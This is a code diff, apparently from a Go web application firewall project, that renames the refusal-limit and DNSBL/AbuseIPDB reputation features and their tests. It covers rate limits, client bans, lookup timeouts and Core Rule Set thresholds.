{"no backend", wafBackend, nil},
|
||||
{
|
||||
"another invalid", wafBackendTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||
"another invalid", rproxyTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
|
||||
+5
-5
@@ -340,11 +340,11 @@ func newAlertQueue(
|
||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||
return remotelog.New(remotelog.Params{
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
BufferLines: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
Buffer: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
||||
Scheme: remotelog.SchemeTCP,
|
||||
Host: "127.0.0.1:65536",
|
||||
},
|
||||
BufferLines: 1,
|
||||
Buffer: 1,
|
||||
})
|
||||
|
||||
stopSending := startSending(t.Context(), sender,
|
||||
|
||||
@@ -602,7 +602,7 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
@@ -34,8 +34,8 @@ const (
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
||||
// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
defaultReputationWait = 2 * time.Second
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
headerFieldLimit = 100
|
||||
@@ -656,9 +656,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// so that a request that does not wait takes no time at all.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
@@ -781,8 +780,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// network inside it would keep its clock from moving on.
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
// In the bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||
// answer takes exactly as long as waf waits, however busy the host is.
|
||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||
@@ -844,7 +842,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||
// before the bubble ends.
|
||||
releaseResolver()
|
||||
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
||||
time.Sleep(defaultReputationWait)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,8 @@ type percentage struct {
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
||||
// before its request goes on.
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||
@@ -70,10 +70,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
}
|
||||
|
||||
dnsblAbuseIPDBListed := percentage{percent: whole}
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||
dnsblAbuseIPDBListed = percentage{
|
||||
reputationListed = percentage{
|
||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||
}
|
||||
@@ -120,7 +120,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
|
||||
// The limits that lower requests and bytes alike.
|
||||
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
||||
|
||||
return lowest(asnRequests, countryRequests, common),
|
||||
lowest(asnBytes, countryBytes, common)
|
||||
|
||||
@@ -150,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -303,7 +303,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -330,14 +330,11 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||
// a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownCountryLimitPercent: "0"})
|
||||
@@ -385,9 +382,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// with a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
|
||||
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
|
||||
@@ -276,7 +276,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
func TestAnomalyThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A score under the threshold, or with the threshold off, is logged,
|
||||
@@ -526,7 +526,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -582,7 +582,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
)
|
||||
}
|
||||
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -438,9 +438,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The test runs in a synctest bubble, where the time package runs on a
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
|
||||
@@ -48,15 +48,15 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
return logLine{}
|
||||
}
|
||||
|
||||
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||
func startForRefusalLimit(
|
||||
t *testing.T, limit string, env map[string]string,
|
||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
refusalsLimitPerMinute: limit,
|
||||
refusalsLimitPerMinute: threshold,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
}
|
||||
@@ -65,12 +65,12 @@ func startForRefusalLimit(
|
||||
return startWithClock(t, "", settings)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// refusals are four, one over the limit of three.
|
||||
// refusals are four, one over the threshold of three.
|
||||
refusals []refused
|
||||
// nextAction is the action of the client's next request: the next
|
||||
// request after a ban for a ban rule makes it permanent.
|
||||
@@ -90,7 +90,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "3", nil)
|
||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
||||
|
||||
// Three refusals break nothing, and the app's answers between
|
||||
// them are not counted.
|
||||
@@ -109,8 +109,8 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The fourth is answered as the others were, breaks the refusal
|
||||
// limit, and bans the client.
|
||||
// The fourth is answered as the others were, breaks the error
|
||||
// burst, and bans the client.
|
||||
line := tc.refusals[3].send(s, client)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
@@ -130,7 +130,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "1", nil)
|
||||
s, _, _ := startForErrorBurst(t, "1", nil)
|
||||
|
||||
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
||||
|
||||
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
`{"window": "minute", "count": 2, "limit": 1}`)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startForRefusalLimit(t, "2", nil)
|
||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
||||
start := clk.Now()
|
||||
|
||||
blockRule.send(s, client)
|
||||
@@ -221,7 +221,7 @@ func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
})
|
||||
|
||||
// Half of the limit would be one, which the second refusal is over.
|
||||
// Half of the threshold would be one, which the second refusal is over.
|
||||
for range 2 {
|
||||
line := blockRule.send(s, fromDE)
|
||||
if line.LimitHit != "" {
|
||||
@@ -252,7 +252,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
statuses := map[string]int{
|
||||
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// The first refusal is one, not over the limit.
|
||||
// The first refusal is one, not over the threshold.
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
@@ -293,23 +293,23 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
wantAlerts(t, queue)
|
||||
}
|
||||
|
||||
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
limit string
|
||||
threshold string
|
||||
// broken is whether the 31st refusal breaks the refusal limit.
|
||||
broken bool
|
||||
}{
|
||||
{"", true},
|
||||
{off, false},
|
||||
} {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||
if tc.limit != "" {
|
||||
env[refusalsLimitPerMinute] = tc.limit
|
||||
if tc.threshold != "" {
|
||||
env[refusalsLimitPerMinute] = tc.threshold
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
@@ -331,7 +331,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
@@ -339,7 +339,7 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "1", map[string]string{
|
||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||
})
|
||||
|
||||
@@ -367,10 +367,10 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startForRefusalLimit(
|
||||
s, clk, _ := startForErrorBurst(
|
||||
t,
|
||||
"1",
|
||||
map[string]string{limitBanDuration: "1s"},
|
||||
@@ -389,7 +389,7 @@ func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
|
||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
|
||||
@@ -432,7 +432,7 @@ const (
|
||||
noResolver = "127.0.0.1:9"
|
||||
)
|
||||
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||
@@ -617,7 +617,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -989,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -811,7 +811,7 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) {
|
||||
wantWouldAction(t, line, requestlog.ActionClientDenied)
|
||||
}
|
||||
|
||||
func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
|
||||
func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -837,7 +837,7 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeniedQuestionCountsForTheRefusalLimit(t *testing.T) {
|
||||
func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{
|
||||
|
||||
Reference in new issue
Block a user